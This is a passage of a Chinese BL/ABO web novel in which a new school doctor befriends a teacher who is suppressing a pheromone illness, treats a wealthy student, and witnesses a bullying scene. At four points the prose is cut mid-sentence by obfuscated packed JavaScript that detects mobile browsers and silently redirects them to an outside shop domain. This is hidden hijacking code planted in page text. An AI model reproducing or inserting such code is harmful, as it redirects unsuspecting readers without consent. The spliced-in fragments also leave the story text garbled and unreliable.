肩膀上的伤口似乎又开裂了,一跳一跳地隐隐作痛。 凌奈揪着他衬衣的手明明非常用力,把他掼向墙壁的力道也很强劲。 可钟离曜视线里的凌奈却眼尾发红,眼中带着钟离曜看不懂的情绪,似是悲伤,似是暴怒。 “你昨天在诺嘉的生日宴会上喝了酒。”凌奈胸腔起伏着,情绪早已超出理智能够控制的范畴。 可仍旧一缕隐约的希冀,像微弱的火苗在黑暗里燃烧。 “嗯,然后我就去房间睡觉了。”钟离曜说。 钟离曜虽然无甚表情,但能看出他是有些迷茫的,至少凌奈认识他一年多,能看出来钟离曜没再撒谎。 这说明,钟离曜昨晚断片,真的什么也不记得了。 一时之间,委屈愤怒酸涩种种情绪纷纷涌上心间,像是一盆冰水从头到脚浇下,凉得凌奈手都在发抖。 他昨晚一夜未眠辗转反侧,却怎么也没想到会是这样。 “算了。”凌奈松开手,“滚吧。” 钟离曜却并没有离开,只是上前一步看着他,黑眸在阳光下有如黑曜石般有光芒在其中闪烁:“你到底怎么了?” “滚!”凌奈见他不走,自己快速掉头离开。 方才起身时他拉高了战斗服的领子,彻底遮住了脖子上红肿的地方,所以钟离曜望着他离去背影许久,也并未看出任何端倪。 一墙之隔的房间里。 白苏看着监控屏幕里钟离曜孤独的身影,分析道:“昨晚钟离曜肯定对凌奈做了什么,只是他自己忘记了。” 监控屏幕并不大,闻行屿和白苏头挨着头靠在一起看屏幕看得津津有味:“差不多,凌奈今天下手也是因为这个。我教过他们两个学期,他平时不是这样对同学出手的人。” 白苏抬起头,满眼都是对八卦的渴望:“所以昨晚到底发生了什么,真的好想知道啊。” 闻行屿挑眉,没想到方才还斯斯文文说自己心情不好的白苏在看见八卦后态度竟然能有如此大的反转:“...之后我替你打听。” 闻行屿侧过头来说话时鼻尖堪堪擦过白苏的耳朵,皮肤相触的那一刻两人俱是一愣。 隔得太近了。 近得能够感受到对方滚烫的呼吸喷薄在皮肤上,能够察觉到彼此气息缠绕。 白苏仓惶向后仰了点距离,心道在这种BL世界和男人靠太近总归是不好。 虽然像闻行屿这种A得不能再A的顶级战斗系Alpha肯定看不上Beta,他也还是得小心。 闻行屿带着笑意的眼睛闪过晦暗,但很快就被他掩藏:“他们走了,也是时候说我刚才提到的方法了。” 白苏的睫毛很长,扑闪着带动光影,却怎么也挡不住他黑白分明的眼眸里闪烁的星光。 如若不是闻行屿更在意白苏能让他闻到信息素的气味,白苏的长相无疑也是很吸引人的。 仿佛从古典油画中走出的神祗,每一处线条都恰到好处,既和谐又完美。 有人会想要虔诚地凝视他,也有人会想要将他拉下云端随自己一同坠落。 而闻行屿显然是后者。 提起能让自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320508|152442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己不被炒鱿鱼的方法,白苏霎时间把八卦抛在脑后:“好的,请说。” “之前的校医被开除,是因为校医室和里面的床变成了学校学生用来谈恋爱的场所。”闻行屿慢条斯理讲着,“我们都知道想要阻止他们不容易,他们中有的人权势滔天,不好得罪。但是...” 白苏眼见着眉目俊朗的男人露出狡黠的微笑:“如果我们最开始就不去阻止,而是替他们掩藏,不让他们被学校发现呢?” 恰如明亮闪电划破漆黑天幕,白苏此时此刻觉得自己像一只被点化的石猴。 “我们掩护,学校不发现他们的恋情,就自然不会发现他们在校医室里做过什么...”白苏若有所思。 闻行屿打了个响指:“没错,可能你一个人比较难做到,因为你才刚来,不熟悉学校风纪检查的巡逻路线和时间,但加上我就不一样了。” 白苏不可思议地睁大眼睛,原本就很大的杏眼变得更加圆:“你愿意帮我这个忙吗?” “嗯,校医室瓜多,好吃爱吃。”闻行屿搬出了方才就想好的理由。 他没办法说出自己能闻到白苏的信息素,因为谁也不会相信。 Beta没有信息素是众所周知的事。 一个Alpha,说自己能闻到Beta的信息素? 那所有人都会以为他是看上了那个Beta,才想出这么扯淡的借口来接近对方。 白苏自方才就非常低落的心情终于在闻行屿提出建议后拨云见日:“...谢谢你,你这么帮我,我都不知道该怎么谢谢你好了。” 白苏是个知恩图报的人,他不由在心中思忖自己能够帮上闻行屿什么忙。 “没关系,如果你方便的话,偶尔让我来这里摸个鱼就好。”闻行屿说。 白苏点头:“当然可以呀。” 没想到闻行屿看起来一表人才,竟然也像自己一样喜欢摸鱼。 如果闻行屿也喜欢吃瓜和摸鱼,那他单方面宣布,他和闻行屿从今天开始就是好兄弟了! 闻行屿得到肯定的回复才放松下来:“我们加个微信吧,然后我把风纪队巡逻的时间表和路线发给你。” “好。”两人交换了微信,白苏问,“你在学校多久了呀?” “快一年了。”闻行屿回答。 白苏了然点头:“那你应该和我差不多大。” “我今年,19。”闻行屿长而骨节分明的手指向内收,指了指自己。 白苏人傻了:“ber?你和学校的学生差不多年纪,已经当老师了??” “我从特殊作战部队退伍后,就在学校当老师,确实年纪小了些,但教他们是绰绰有余的。”闻行屿睫毛乌黑浓密,像是扇子般随着他眨眼的幅度而扇动着。 他的眼眸是煽情的桃花眼,看向任何事物时都含情脉脉。 白苏在这样的视线里没有坚持多久,便挪开目光:“那你...很厉害呀,年少有为。” “你呢?22?还是21?”闻行屿视线掠过白苏柔软丰盈的唇瓣,下意识舔了舔干燥嘴唇。 “我22啦,你应该叫我哥哥。”白苏开玩笑道。 闻行屿也笑起来,声音低沉带着蛊惑:“那你以后要多照顾我了,白苏...哥哥。” 5. 第 5 章 几朵蓬松的白云悠闲地漂浮在湛蓝天幕上,阳光透过稀薄的云层,洒下柔和的金色光芒,给大地披上了一层温暖的光辉。 贵族男校内植被覆盖面积极广,微风轻拂,树叶沙沙作响,高低排布有序的植被远远望去好似晕染开的美丽油画。 闻行屿离开后,白苏百无聊赖坐在办公椅上发呆。 就算他是个直男,也不免被闻行屿层出不穷的玩笑和话语撩了一手。 非常猝不及防。 像这种男人,白苏想不到他有什么烦恼。 这也说明自己大抵也没法回报闻行屿什么对方需要的东西。 四下无人,白苏昨晚熬夜玩手机到凌晨三点,中午又没有午睡,在阳光浓恹的下午选择了倒头就睡。 待再次醒来时,白苏模糊视线里出现了一只修长白皙的手。 那人的手一看便是养尊处优惯了的,指尖莹润细腻,不见一丝茧的痕迹,而顺着这只完全可以作手模的艺术品往上,则是带着江诗丹顿的手腕。 就在白苏迷茫盯着那只镶钻手表的间隙,那漂亮的手忽然屈起指节,在桌面上轻轻敲了敲。 白苏瞬间从倦怠里清醒了,抬头看向手的主人:“同学你好,哪里不舒服吗?” 南宫槿已经看这新来的校医沉沉睡了半天,此时脸上笑容带着两份促狭:“不好意思,打扰你休息了。” 他一过来,就看见这长得过分漂亮的Beta毫无防备地趴在桌前呼呼大睡。 花瓣般的嘴唇还微微张着,显然是睡得很熟。 如果是旁人在上班时间不忠于职守,南宫槿定然会蹙着眉头指责几句。 可一贯珍惜自己时间的南宫槿在这样的场景前,竟一时之间没有立刻把对方叫醒给自己开药。 而是站在桌前,饶有兴味地欣赏了片刻,又仔细确认了对方气味绝非Omega后,才把对方叫醒。 “啊?没有没有...”白苏挠了挠头。 白苏看着对方表情似乎在说“你上班时间摸鱼被发现了哦”的表情,霎时间脸上有些发热。 南宫槿咳嗽了两声,说:“我有点儿感冒,所以...” 白苏了然,上午姜晓泼的那桶冷水看来还是影响到了南宫槿,只是不知道尉迟云蔚怎么没一起来。 白苏记忆还停留在上午尉迟云蔚和姜晓拿着喇叭对喊“你是猪”的那段震撼白苏全家让白苏脚趾抠出新太平洋的土尬场景里。 青年熟练让电脑从睡眠状态启动,说:“麻烦把你的校园卡给我。” 两人面面相觑片刻,南宫槿才开口:“我没带,不能直接报学号么?” “也行,但要面部识别证明身份。”白苏回答。 他刚来,还不太会使用医务室里的一些仪器,试了几次才让南宫槿的面部识别通过。 南宫槿作为Alpha带着一股让白苏难以忽视的威压,白苏必须强行控制着自己发抖的手腕,故作平静。 只是这种感觉,或者说味道如影随行,让白苏很难做到完全忽略。 正当他根据南宫槿症状开始在电脑上开药方时,桌子对面的男生突然开口了:“你是Beta?” 这个问题其实并不算冒犯,但如果是学生问老师就有点儿奇怪了。 于是白苏只是说:“你猜。” “你长得太好看,不像Beta,但闻起来不像。”南宫槿对自己的嗅觉很有自信,所以才会近乎冒犯地问出这个问题。 一直处在上位的少爷,有着很强的好奇心。 在这个世界里,就算Alpha或Omega没有处在无法控制的信息素释放阶段或是刻意释放,处在放松状态的腺体也会释放少量信息素。 对于嗅觉比较灵敏的Alpha而言,想要分辨ABO很容易。 这也是闻行屿没有问白苏就确认对方是Beta的原因。 白苏生怕南宫槿因为这个怀疑对自己产生什么别样的兴趣,立刻澄清道:“我是Beta。” 这么长时间以来,猜自己是Omega的人不在少数,大多是因为样貌的缘故。 然而虽然Omega生来就会享有各种资源,享受最好的教育,拥有各种Beta无法想象的工作机会和财富,但白苏却从没想过自己希望分化成Omega。 他,是一个直男,宁愿一辈子打工也不愿意和某个被联邦认为和他非常匹配的Alpha结婚然后过上一胎八宝的恐怖生活。 尤其是Omega的易感期那个像是身上有格早(跳蚤)浑身痒又不去洗澡寂寞难耐深夜求男人的模样,白苏看着都难受。 学院里的Beta很少,除了美德学院都是O,其他学院的学生里超过80%都是来自全联邦各地的优质Alpha。 南宫槿好像猜到了他为什么着急解释似的忽然一笑:“你不用这么着急解释,我没别的意思...” 这beta警惕心还挺强,南宫槿确实觉得有些好笑。 但不知为何,一向多疑的他,却莫名在很短的时间内对这位新来校医有些信任。 “咳咳!”养尊处优的少爷面色有些苍白,坐下时仍然带着不怒自威的气场。 白苏给南宫槿开了感冒药:“你先去冲一杯吧,正好和药片一起吃,那边有饮水机。” “谢谢。”南宫槿接过袋子,“你是新来的校医?贵姓?” 白苏方才被钟离曜的同学问过一样的问题,此时点头:“是,我姓白。” “白医生,我能借这里睡会儿么。”南宫槿明显比上午时要没有精神,连带眼尾那颗红色小痣都失去了神采。 贵族男校的校医室干净整洁,学校为了保证学生们的满意,特意采用了一次性床单来铺床,保证床单的更换与卫生。 白苏见他一个人吃了药确实不舒服,但又有些奇怪他为什么不回宿舍睡觉。 众所周知,贵族男校不可能几人一间寝室。 不仅如此,甚至像商学院这样资金雄厚的学院为学生安排的宿舍是一个套间,由厨房、客厅、阳台、客房组成。 比起在随时会有人来的校医室睡觉,白苏觉得回宿舍睡觉会更舒服。 南宫槿好似看穿了他的疑惑,说:“我们下节还有课,从宿舍过来太远了。” “你睡吧,需要我等会儿叫你么?”对方解释得这么清楚,白苏就顺势应下了。 南宫槿摇头:“有人来的话叫醒我就好,下节课上课之前我手表的闹钟会响。” 南宫槿的长相十分出众,但与钟离曜的冷峻、凌奈的痞气以及闻行屿的侵略感都不同,他更像是那种老钱式的矜贵,从头发丝到脚都写着—— “哥是顶级富二代”这七个大字。 白苏记得,上午F4出场的时候,有人说这个南宫槿的家族是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320509|152442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全世界第二有钱的的家族。 突然有点想知道第一有钱的是谁了。 学生不舒服在这里休息也很正常,所以白苏立刻示意南宫槿去休息,自己会替他放哨。 *** “就问一句,可不可以。”闻行屿得到肯定的答复后取下耳机,“谢了。” “哎,你还没说为什么放着你那大平层不住非要挤最破的教师公寓呢!” “说来话长,所以今天就先——不说啦!”闻行屿挂断电话,打开厚重消防门重新进入空荡的走廊。 每周一的下午是闻行屿进行例行身体检查的时间,他和其他参与过一年前那几场战役的士兵一样,在此接受研究所的身体指标分析与治疗。 走廊内的房间被大面的防弹玻璃隔开,内部布满各种仪器,几个穿着白衣的医生正在拿着电子屏幕说着什么。 他们的讨论异常激烈,甚至其中一个白人已经开始肉眼可见的变红。 这在信息素研究中心里并不常见。 可当闻行屿走进房间里,刚才争执得面红耳赤的几人纷纷都停了下来,继而统一转过头看向闻行屿。 闻行屿在众人目光里并不茫然,只是扬唇调侃:“你们刚才一起转头的时候特别像天亮的向日葵种植园。” 众人:“...”此人爱拿奇怪东西来比喻的习惯怎么时候能改改! 年长些的金发女人看向另几个同事,说:“你们先回去吧,我和行屿说一下这次检查的情况。” 闻行屿早就在他们带着些许怜悯且无法隐藏的目光里猜到了这次他的身体情况肯定并不乐观,尤其是信息素水平。 但大概是早就有了这样的心理预期,所以此时的闻行屿并没有什么特殊的情绪。 相反的,他觉得自己能够很平静地接受结果。 闻不到信息素,并不仅仅是无法找到配偶这种闻行屿不在意的事。 腺体受损,意味着信息素水平也会脱离控制。 其他几个研究所的医生陆续离开,放下手里平板的时候仍时不时瞥向闻行屿。 在一年前的战役里受到信息素生化武器攻击的Alpha里,还能像闻行屿这样保持理智的已经不多了。 “行屿,我很担心你的情况,没法靠药物撑过下一个易感期。” 名为Lisa的医生开门见山道。 医疗中心的医生早就和闻行屿混熟了,平日见到闻行屿也都是笑哈哈地没个正形。 可现在手里握着信息素水平检查报告的金发医生,却非常严肃:“你的信息素被你强行压在一个阈值下,但如果我没猜错,你服药的间隔一直在变短,对不对?” “嗯,不能换种药么?”闻行屿神色不变,仍旧带着些许社交笑容。 而Lisa却知道,他并非不清楚严重性,所以他的平静显得尤为可怕。 “算了,换不了也没事。”闻行屿摆摆手,示意不要紧。 其实他自己早就感觉到了,那种在他身体里躁动着的嘶吼着的冲动愈演愈烈。 像是想要将他的身体撕开一个口子似的,偏偏他的腺体无法作为这些横冲直撞焦躁的出口。 他变得更加暴躁,更加容易失眠,好像任何一点事情都会让他精神紧绷。 但他无所谓。 或者说,他早就已经接受了自己终将有这么一天,因为腺体受损而死去。 6. 第 6 章 信息素研究中心坐落在贵族男校的西北角,与生物科学学院相连,许多杰出科研人员和在校学生都在此进行科研工作。 中心环山而建,拥有各类大型检测器材,即使夜间依旧灯火通明。 闻行屿说得随意,可Lisa却感觉愈发心惊。 对方这架势,看起来像是彻底放弃了生的希望。 她记得,刚认识闻行屿的时候,对方虽然裹着绷带伤得不轻,却充满希望和活力。 那双如今死气沉沉的黑眸,以前是闪烁着星辰的,永远带着笑意的。 往日仿佛仍在昨天,却早已物是人非。 “开玩笑的,”闻行屿见她绷着脸眼睛发红,解释着缓解气氛,“能换肯定最好,不能就再想办法吧,你别哭,我不会哄人。” “你以为换药,是很容易的事吗?”Lisa摇头,“你必须停止服药,从今天开始。” 没有药物,闻行屿想要单纯依靠意志力去控制信息素,几乎是不可能完成的任务。 因为战场上的信息素武器导致的易感期频繁,又因为无法闻到Omega信息素、无法对任何Omega进行标记而无法终止易感期。 至今为止,闻行屿已经用地下室黑暗禁闭加上药物的方式,强行忍过了十个易感期。 没有药物,Lisa不知道闻行屿能怎么撑过去。 她不由得眼眶含泪,说到最后时已经哽咽不成声:“闻行屿,你还是回基地去吧,那里对你的病情更加了解...你在那里,才更有可能活下来...” Lisa往日都以冷静高智女的形象示人,可闻行屿和她的孩子差不多年纪又性格讨人喜欢,她不愿看着闻行屿走向那个没有光明的结局。 “我不会回去,”闻行屿听她提起基地,脸色沉下来,“我说过,我绝对不会回到那里去了。” 闻行屿早就知道了。 每一次汹涌信息素在体内横冲直撞,都让人生不如死。 army基地里的医生告诉过他,他所使用的强行减弱自身信息素感知的药物会产生抗性,在不久的将来就会彻底失效。 届时,他会变成一个永远无法度过易感期的疯子。 “我们虽然一直在研究,但毕竟和有那么多实验样本的基地没法比的。”Lisa看着他,“我们现在为你提供的药物,已经没法在你身体里再发挥作用了,继续使用只会使得你体内激素更加不稳定,你懂吗?” 闻行屿高挑身形依旧挺拔从容,他笑了笑似乎很轻松,一字一句道:“不在基地治疗,选择离开,是我的选择。无论后果如何,我都愿意承受。如果最后信息素失控到无法控制的程度...” “我会自己结束掉这一切的。”闻行屿唇瓣微张,露出洁白牙齿,笑得颇有些没心没肺。 一如Lisa第一天见他的笑容那样。 *** “你好~”娇滴滴的Omega声音从门边响起。 白苏抬头去看,便发现有个编了麻花辫的Omega站在外面,正探头探脑往里看。 白苏刚要开口问他怎么了,就见这长相秀气小巧的男生比了个“嘘”的动作:“我是来找槿哥哥的,他在里面吗?” 没想到南宫槿没待多久,就有人上门了。 白苏并不知道此人跟南宫槿是什么关系,所以并未直接回答。 但他藏不住事,脸上表情一下就暴露了。 那全身香X儿的小男生走进来便直冲休息室,白苏赶紧拦下他:“你好,现在有人在里面,不太方便...” “啧,槿哥哥是我的未婚夫,什么不方便啊。”那Omega从包里摸出几张绿色大额钞票塞进白苏手里,“拿着吧,我的家族可是世界上最有钱的家族之一,你能跟我说话是你的荣幸。” 白苏被钞票硬控,下意识拿起钱对着阳光看了看水印:“...” 反应过来时他才发现自己的行为有多么财迷,这是看钞票真伪的时候嘛!? 好在两人言语间吵醒了南宫槿:“是我让他不要让人进来的,你别难为他。” “槿哥哥,你怎么在校医室里睡觉啊?” 那小男生看起来尤为天真无邪,缠着南宫槿叽叽喳喳的,却也并不是让人不耐烦的那种纠缠,反而看起来挺可爱的。 但南宫槿的表情却很不耐烦,带着困倦的俊脸也难得病蔫蔫的:“你又跟过来干什么,烟雨,你非要跟着来商学院的时候我说过,如果你是真心想来学习,那我没有意见。可是你看你现在这样,像是想要好好学习的样子么。” “我怎么没有认真学习呀,我每天都很认真啊。槿哥哥你还在因为我换宿舍到你隔壁生气吗?”那男生直接坐在了南宫槿床边,还想要伸手摸他的额头,“你是不是发烧了呀,我好担心的。” 白苏早已经在他们开始说话的时候就走到了房间外,以免自己听到什么不该听的,被这两个少爷灭口。 但走出去的过程里,这句话他还是听了个清楚。 这么看来,南宫槿不回宿舍估计也是为了躲这个小O。 而且这小O还是直接追来贵族南校商学院上学的,就为了接近南宫槿。 听两人说话间的熟捻,以及刚才那少年嘴里的“未婚夫”,这估计得是青梅竹马的程度。 后来,这两人都解除了婚约,只为了专心致志追求小白花。 白苏忽然想起了之前妹妹跟他说过的剧情,贵族男校商学院的F4里面有两个人是有婚约的。 看来其中一个就是南宫槿。 南宫槿早有门当户对的婚约,但却在学校里爱上贫穷脱俗的小白花,为此甚至不惜和家族划清界限并且和从小一起长大的兄弟反目争爱... 白苏没有看小说,听妹妹说剧情的时候也是一边在打瓦,所以剧情只听了个大概。 还是在妹妹说“你快听我等下要考你”的前提下。 里面两人没多久便走了出来,南宫槿礼貌对白苏点头:“白医生,多谢,我先走了。” 南宫槿的未婚夫见他对白苏客气,自然也没有落下礼数:“医生再见,刚才打扰了!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320510|152442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这些上等人惯是会看人下菜碟的。 白苏站在门口,看着缠在南宫槿身边想要挽他手臂却被他躲开,不由有些遗憾自己当时没仔细听老妹说剧情。 这个男生性格黏人可爱,长得也很漂亮,又与南宫槿门当户对,白苏实在想不通南宫槿为什么会喜欢姜晓而不是喜欢认识多年的青梅竹马。 还真挺想看看,南宫槿是为什么喜欢上小白花姜晓的。 *** 红砖墙上爬满了常青藤,屋顶覆盖着白色的瓦片,颇具年代感。 屋檐下,木质的窗框被漆成深褐色,窗户上挂着白色的蕾丝窗帘,随风轻轻摆动。 高大的木棉树在这栋宿舍楼旁尤为显眼,花朵火红如焰,花团落满枝桠。 闻行屿站在储物柜前,把自己往日要用的物件一件件放进去。 从包里拿出玻璃药罐时,高大男人利落的动作迟疑了片刻,目光落在瓶内浅蓝色的药片上。 玻璃瓶上以激光刻着微小的一行英文编码,正是闻行屿用于抑制信息素的药品。 这样的管制药物,就算闻行屿不想要了,也必须带在身上,之后拿回指定的销毁地点进行销毁。 甚至,药物要清点克重和数量,如果少了必然会遭到严格的调查。 高挑男人侧脸轮廓锋利精致,浓黑剑眉下长睫微垂,落在那药瓶上的目光晦涩难辨。 玻璃瓶小巧,在男人宽大的手掌里更显得迷你。 那青筋突起的手忽然用力攥住瓶身,令整个玻璃瓶都因为力道而嗡鸣起来。 就在玻璃瓶好似快要无法承受的关口,那只生杀予夺的手缓缓松开,以极轻极仔细的动作将它放下。 闻行屿自嘲一笑:“...对着个破药瓶生什么气。” 玻璃瓶稳稳立在绿油油的多肉旁,在灯光下反射出明亮光泽。 房间内空气流通,床单整齐铺在宽敞大床上,几个枕头摆着一条对角斜线。 闻行屿搬来这里半天,就把行李大致都搬了过来并且摆放整齐了。 非常具有budui作风。 一墙之外。 白苏抖开湿润床单,准备晾在门口走廊的栏杆上。 这边宿舍比较老破小,其他老师都选择住新教师宿舍,只有他考虑到这里离上班地点校医室比较近,所以住在了这里。 哦,当然,还有一个很重要的原因是贵族男校的老师大多出身富裕甚至是学校校友,所以他们都有车,甚至有人开直升机上下班。 距离的远近对于这些自带载具的人也就并不成问题。 而白苏,一条贫穷的咸鱼,没有车并不方便从遥远的新宿舍每天开车过来上班,又不愿意早起坐班车,才只能将就着住在这里。 要说好处,这里唯二的好处大概就是人少了,所以他把晾晒衣服都放在外面也不用担心影响别人。 其实理论上来说,就算他洗完澡裸着出来也没事... 白苏这么想着,一回头被身材高大的黑发男人来了个回首杀:“我靠?!” 7. 第 7 章 闻行屿见他被吓了一跳赶紧道歉:“不好意思,我今天刚搬过来,看见你在外面就想跟你打个招呼...” “没事没事,”白苏心有余悸,问,“你怎么搬来这儿了?这边好破,他们都不愿意住在这里。” 闻行屿眨眨眼,从善如流道:“我隔壁那对小情侣,你懂得,平时声音太大了,吵得心烦。” “哦,情侣吵架也正常。”白苏完全没get到闻行屿的话,只是奇怪道:“我还以为那边隔音很好呢,不过你当时应该申请在原来那栋楼调换宿舍的,这样也省的搬过来这么远。” 说话间脖颈处忽然传来一阵痒意,令他忍不住当着闻行屿的面伸手...略显屌丝地抠了抠脖子。 闻行屿见白苏是真心在为他想主意,一时之间既无奈又好笑:“没事,搬过来也挺好的,这边空气清新。” 这话确实没说谎,空气是很清新,淬满白苏身上的甘草叶香气。闻行屿只是觉得,住在这附近,他心情能好点,不至于每天都想揍人了。 “也是,我们两个人的话相互也有个照应。虽然你看起来也不像需要我照应的样子。”白苏说到最后自己都想笑。 对方这副帅气夺目宛若电影明星的外形,加上幽默风趣的性格,又是战斗系的老师肯定身手不凡... 确实不像是需要他照应的状态。 虽然闻行屿和他一样同为路人,但路人同样分个三六九等,闻行屿无疑是那种能当重要配角的高级路人。 闻行屿却好心地没让白苏的话落在地上:“如果你会做饭的话,我会带着礼物上门蹭饭的,嗯。” 此话一出,闻行屿在心里默默给自己打了个满分。 完美的引出话题,完美的接近策略,带着几分随意,既不让人觉得冒犯,也让人不好拒绝。 白苏其实对他们战斗系的人挺好奇:“你们平时要吃什么营养师搭配的饮食吧?高蛋白什么的。” 闻行屿笑得眉眼弯弯,看起来非常没有距离感:“哈哈,当然不会。我想吃什么就吃什么,火锅烤肉巧克力、家常菜啊什么的,我都吃。” 说到这份上,白苏都不知该怎么拒绝:“我有时候会做饭的,如果不值晚班,到时候你可以来一起吃,” “看来我搬过来是个正确的决定啊。”闻行屿上前帮着白苏把床单摊开,绝口不提自己是如何软磨硬泡逼着管理宿舍的老师跨过申请流程让他在短短几天就调动宿舍的。 偏偏即将调入大灰狼嘴巴的羔羊还在为自己交到朋友而高兴:“哈哈,我做饭很一般的,说不定你不喜欢这种口味。” 白苏的床单很宽,自己晾时确实比较费事。 此时有了闻行屿的帮忙,很快就平整摊开,在阳光下挥发水汽。 “我不挑吃。还有我也可以学着做饭的,两个人的饭比一个人的好做,下次我学了你来蹭我的饭好了。”闻行屿笑得阳光开朗,内心阴暗爬行的怪物却早已嘶吼着想要顺着明亮日光想缠上白苏脖颈,深深吮吸草叶香气。 白苏望着对方真诚的笑容,内心感动得冒泡泡:“好啊好啊。” 他没想到在这样阶级分明的学校里,竟然会有老师主动和他交朋友。 而且还是那么开朗热心肠的人。 本来以为,像他这样从山区投电子简历被应聘进来的普通人,在联邦首都富人区首屈一指的学校肯定会被人瞧不起呢。 两人一同抖开床单,闻行屿指尖触碰到白苏手背,刹那宛若被电击般收回手。 白苏的皮肤光滑微凉,皮肤相贴的瞬间好似有电流在其中攒动,闻行屿指尖像是被火苗灼烧般阵阵发烫。 但热意一晃而过,并未长久驻留,令他也搞不清这究竟是错觉还是真实存在的。 “明天学校公假,学校说组织职工团建相互认识一下,你应该知道吧?”闻行屿目光闪烁,转移了话题。 “知道,你去吗?”白苏并未察觉闻行屿方才的异样。 闻行屿眼中闪过一丝不明的情绪:“我正想问你去不去呢。” 两人对视着,心有灵犀道:“你去我就去。” 闻行屿笑了笑:“我大概会去,我在这里虽然不久,但是和很多同事都混了个脸熟。明天我可以把你介绍给他们,毕竟现在大家一起工作,难免工作上有所接触,还是先认识认识比较好。” “行,谢谢啦,”白苏看着他,“你刚搬过来,有什么需要我帮忙的吗?” 闻行屿帮他挺多,白苏不习惯欠别人的。 “暂时不需要,谢谢啊。”闻行屿冲他挥了挥手,动作很是潇洒,“那我先回去了,明天见。” 白苏原本心中还有些疑惑,心想怎么会这么巧闻行屿也会搬过来,可是看闻行屿和其他老师很熟的模样,料想对方是个自来熟,就是喜欢结实新朋友。 所以特意来和他打个招呼似乎也并没有什么不正常的。 现在也是,并不刻意,也没有邀请他去坐坐什么的,反而很快就走掉了。 白苏的警惕心松懈,心想自己果然是真的和闻行屿有缘又合得来。 *** 夜晚无星无月,秋风微凉。 钟楼漆黑影子拖曳在地,巨大的尖顶在黑暗里影影绰绰。 钟楼旁的三层小红楼此时孤零零亮着灯,努力驱散周遭如水般夜色。 校医室目前只有一个医生,原本需要轮流值晚班的制度也改成了白苏每隔一天值一次晚班到晚上十点,相对的次日上午不用来上班。 学校管理制度并不严格,所以作为想要摸鱼的白苏来说非常友好。 三楼的诊疗室开着灯,这个点没有学生会来,白苏就坐着玩手机摸鱼,怒刷几百条小绿书。 只是贵族男校作为小说世界的融合体、主角们的所在地,注定了其不平静的底色。 “贱人!像你这样的穷酸货,凭什么和我们在同一个教室里上学!” “你以为谷少爷查出真相,你就能在这个学校继续立足么!?” “你们看看他那张脸,不会以为自己与众不同就能吸引尉迟少爷的注意吧...” “咦,好恶心啊,你们看他的手好粗糙好脏!千万别碰到我啊!” 白苏走出办公室,看着钟楼漆黑阴影里几个站着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320511|152442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人正在对那蜷缩成一团的少年拳打脚踢,不由得紧皱眉头。 黑暗里,依旧能看见三两个零星的猩红火点,在黑暗里游弋。 是男配Beta们边辱骂姜晓,还在边抽烟。 钟楼离商学院距离很近,但这里的动静又不会让商学院里听见。 白苏觉得这几个恶毒反派还挺会选地方的。 但他们说的话做的事,实在太过分了。 青年抿着唇看向钟楼下,从口袋里拿出手机。 五秒后,钟楼的钟,在没有到整点的情况下突然毫无预兆地被敲响了。 敲钟声音洪亮,嗡鸣能够从此处校园的中心传到各个角落。 人站在钟楼内,所感受到的声浪自然不必多言。 钟楼下的几个恶毒男配Beta此时都被钟声震得耳朵发疼脑袋发晕,捂着耳朵跑了出来:“靠!这个破钟为什么会突然自己响啊!” “啊啊啊我的耳朵!怎么回事啊!”几个人跑开在很远的地方停下,气喘吁吁看向钟楼的方向。 原本一片漆黑的钟楼倏地亮了起来! 从顶端射灯到下方的照明灯全都亮了起来,将整栋尖顶钟楼照得金碧辉煌,璀璨无比。 钟楼映亮了周围的大片树林,也吸引了许多人的注意。 恶毒男配们面面相觑,脸上都是慌乱:“我们得快点走!如果等下学校派人来查看钟楼,就会发现我们在这里打人的!” “地上还有我们刚扔的烟头,我们要不要去捡起来啊...” “捡啊!快点走!不然学校如果告诉家长,我会被骂死的!” 几个穿着高跟鞋的Beta健步如飞冲回钟楼在地上一通乱摸,然后又指着姜晓说:“你敢说出去,你家那个破杂货店就别想开下去了!” 